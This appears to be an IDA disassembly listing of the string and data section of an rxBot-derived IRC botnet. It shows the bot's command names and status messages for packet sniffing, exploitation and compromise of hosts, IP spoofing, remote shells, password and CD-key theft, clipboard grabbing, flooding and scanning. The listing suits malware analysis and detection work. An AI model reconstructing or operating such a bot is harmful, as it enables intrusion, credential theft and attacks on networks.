aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A8	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E8	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B124	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B154	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B17C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B1E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B220	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B250	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C4Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C34o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C54o
		unicode	0, <n>,0
unk_42B350	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3B0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C8	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3E0	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B428	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B450	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B454	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B460	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B468	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D8	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4EC	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4F0	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B500	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B504	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B508	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 10h
unk_42B570	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B5B0	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E8	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42B614	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42B654	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B690	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6BC	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E8	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B7E4	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B818	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B858	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42B884	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42B8C0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B904	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B914	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B924	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B958	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A8	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42B9D4	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9EC	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA28	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA48	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA4C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA64	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA9C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB4	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BAD0	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAEC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB08	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BB44	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB68	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB88	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA8	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BBE0	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC08	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42BC34	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC50	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42BC94	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42BD34	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BD70	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDAC	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE8	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE24	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BE60	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42BE94	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42BEB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEEC	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF28	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C024	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C098	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C140	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C174	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A8	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1BC	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1C0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1CC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
